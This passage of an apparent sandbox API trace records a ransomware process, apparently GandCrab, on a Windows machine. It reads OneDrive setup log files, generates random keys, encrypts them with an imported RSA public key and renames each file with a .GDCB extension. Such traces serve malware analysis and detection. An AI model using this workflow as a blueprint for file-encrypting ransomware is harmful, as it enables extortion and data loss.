Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-05-24_104600_528-57c.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-05-24_104600_528-57c.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-05-24_104600_528-57c.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-05-24_104600_528-57c.log.gdcb")) returned 0 [0203.675] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0203.677] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.677] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.679] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0203.679] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0203.679] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0203.681] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.682] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.682] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0203.682] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.682] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0203.684] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf290) returned 1 [0203.684] CryptGetKeyParam (in: hKey=0x50cf290, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.684] CryptEncrypt (in: hKey=0x50cf290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6800000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6800000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0203.685] GetLastError () returned 0x0 [0203.685] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0203.685] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0203.687] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf450) returned 1 [0203.687] CryptGetKeyParam (in: hKey=0x50cf450, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.687] CryptEncrypt (in: hKey=0x50cf450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6810000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6810000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0203.687] GetLastError () returned 0x0 [0203.687] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0203.687] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-07-12_164138_904-4d0.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-07-12_164138_904-4d0.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0203.689] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6820000 [0203.690] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6830000 [0203.691] ReadFile (in: hFile=0x514, lpBuffer=0x6830000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6830000*, lpNumberOfBytesRead=0x285d3e8*=0x1b89a, lpOverlapped=0x0) returned 1 [0203.721] VirtualAlloc (lpAddress=0x0, dwSize=0x1b8a0, flAllocationType=0x3000, flProtect=0x4) returned 0x6940000 [0203.757] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-07-12_164138_904-4d0.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-07-12_164138_904-4d0.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-07-12_164138_904-4d0.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-07-12_164138_904-4d0.log.gdcb")) returned 0 [0203.760] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0203.762] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.763] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.763] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0203.763] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0203.763] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0203.764] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.765] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.765] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0203.765] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.765] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0203.767] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf5d0) returned 1 [0203.767] CryptGetKeyParam (in: hKey=0x50cf5d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.767] CryptEncrypt (in: hKey=0x50cf5d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6800000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6800000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0203.768] GetLastError () returned 0x0 [0203.768] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.768] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0203.769] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf610) returned 1 [0203.769] CryptGetKeyParam (in: hKey=0x50cf610, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.769] CryptEncrypt (in: hKey=0x50cf610, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6810000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6810000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0203.770] GetLastError () returned 0x0 [0203.770] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0203.770] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-11-10_161055_b54-c0c.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-11-10_161055_b54-c0c.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0203.773] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6820000 [0203.774] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6830000 [0203.775] ReadFile (in: hFile=0x514, lpBuffer=0x6830000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6830000*, lpNumberOfBytesRead=0x285d3e8*=0x1d2a2, lpOverlapped=0x0) returned 1 [0203.808] VirtualAlloc (lpAddress=0x0, dwSize=0x1d2b0, flAllocationType=0x3000, flProtect=0x4) returned 0x6940000 [0203.816] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-11-10_161055_b54-c0c.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-11-10_161055_b54-c0c.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-11-10_161055_b54-c0c.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-11-10_161055_b54-c0c.log.gdcb")) returned 0 [0203.819] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0203.821] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.822] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.822] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0203.822] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.822] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0203.823] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.824] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.824] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0203.824] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.825] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0203.827] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf650) returned 1 [0203.827] CryptGetKeyParam (in: hKey=0x50cf650, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.827] CryptEncrypt (in: hKey=0x50cf650, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6800000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6800000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0203.828] GetLastError () returned 0x0 [0203.828] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0203.828] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0203.830] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf6d0) returned 1 [0203.830] CryptGetKeyParam (in: hKey=0x50cf6d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.830] CryptEncrypt (in: hKey=0x50cf6d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6810000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6810000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0203.830] GetLastError () returned 0x0 [0203.830] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.830] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-12_164130_2e0-2c8.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-12_164130_2e0-2c8.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0203.831] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0203.832] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.833] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.834] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0203.834] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0203.834] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0203.836] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.837] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.837] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0203.837] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.837] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0203.839] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf9d0) returned 1 [0203.839] CryptGetKeyParam (in: hKey=0x50cf9d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.839] CryptEncrypt (in: hKey=0x50cf9d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6820000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6820000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0203.840] GetLastError () returned 0x0 [0203.840] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0203.840] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0203.842] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cfd10) returned 1 [0203.842] CryptGetKeyParam (in: hKey=0x50cfd10, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.842] CryptEncrypt (in: hKey=0x50cfd10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6830000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6830000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0203.842] GetLastError () returned 0x0 [0203.842] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.842] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-13_111425_fe4-f74.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-13_111425_fe4-f74.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0203.842] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0203.844] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.845] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.845] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0203.845] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0203.845] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0203.846] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.847] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.847] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0203.847] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0203.848] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0203.850] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cfa10) returned 1 [0203.850] CryptGetKeyParam (in: hKey=0x50cfa10, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.850] CryptEncrypt (in: hKey=0x50cfa10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6840000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6840000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0203.850] GetLastError () returned 0x0 [0203.851] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0203.851] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0203.853] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cfd50) returned 1 [0203.853] CryptGetKeyParam (in: hKey=0x50cfd50, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.853] CryptEncrypt (in: hKey=0x50cfd50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6850000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6850000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0203.853] GetLastError () returned 0x0 [0203.853] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0203.853] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-14_075507_d98-d94.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-14_075507_d98-d94.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0203.854] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0203.856] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.857] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.857] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0203.857] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.857] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0203.858] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.859] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.859] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0203.859] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.859] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0203.861] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cff50) returned 1 [0203.861] CryptGetKeyParam (in: hKey=0x50cff50, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.861] CryptEncrypt (in: hKey=0x50cff50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6860000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6860000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0203.861] GetLastError () returned 0x0 [0203.861] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0203.861] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0203.863] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cfa90) returned 1 [0203.863] CryptGetKeyParam (in: hKey=0x50cfa90, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.863] CryptEncrypt (in: hKey=0x50cfa90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6870000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6870000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0203.864] GetLastError () returned 0x0 [0203.864] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0203.864] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-19_092447_b70-3a8.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-19_092447_b70-3a8.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0203.864] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0203.866] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.868] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.868] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0203.868] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0203.868] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0203.870] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.871] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.871] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, 